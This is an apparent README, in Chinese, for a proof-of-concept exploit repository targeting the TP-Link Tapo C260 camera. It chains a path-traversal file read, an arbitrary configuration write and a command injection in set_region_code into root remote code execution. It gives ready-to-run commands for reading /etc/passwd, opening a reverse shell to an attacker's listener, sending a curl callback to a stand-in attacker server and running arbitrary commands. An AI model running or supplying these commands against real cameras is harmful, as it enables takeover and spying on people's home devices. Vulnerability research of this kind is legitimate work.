TP-Link Tapo C260 摄像头的 PoC 漏洞利用链 — CVE-2026-0651/0652/0653。由 @spaceraccoon 研究。
针对 TP-Link Tapo C260 网络摄像头的概念验证漏洞利用链,通过串联由 Eugene Lim (Spaceraccoon) 发现的三个漏洞,实现从未认证到 root 权限的远程代码执行(RCE)。
所有漏洞研究与发现均由 Eugene Lim (@spaceraccoon) 完成。
本仓库是基于其公开文章实现的 PoC。如果你觉得有用,请购买他的著作: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press)。
| CVE | 类型 | 影响 |
|---|---|---|
| CVE-2026-0651 | 路径遍历 / 本地文件泄露 | 通过 HTTP GET 处理器中的 /%2e%2e%2f 读取任意文件 |
| CVE-2026-0652 | 任意配置写入 | 访客级用户可通过云 API 中的 JSON 键操纵写入任意配置路径 |
| CVE-2026-0653 | 命令注入 / 权限提升 | set_region_code_handle 将未经过滤的 dev_name 配置值传递给 popen() |
LFD(读取设备配置)--> 配置写入(污染 dev_name)--> 触发区域代码处理器 --> popen() --> shell
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
从本地网络中的摄像头读取任意文件:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# 反向 Shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# 仅回调(curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# 自定义命令
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
污染 — 发送带有被操纵 JSON 键的 setLedStatus 请求,将 shell 元字符载荷写入设备上的 tp_manage/info/dev_name 配置路径。
触发 — 发送 set_region_code 请求。处理器从配置中读取 dev_name,并将其未经净化地插入 popen() 调用中,从而执行注入的命令。
Shell — 攻击者收到回调或反向 shell。
/bin/main 综合二进制文件的 Tapo 型号本工具仅供授权安全测试和教育目的使用。未经授权访问计算机系统属违法行为。作者不对滥用行为负责。在针对任何非你所有的设备进行测试前,务必获得明确许可。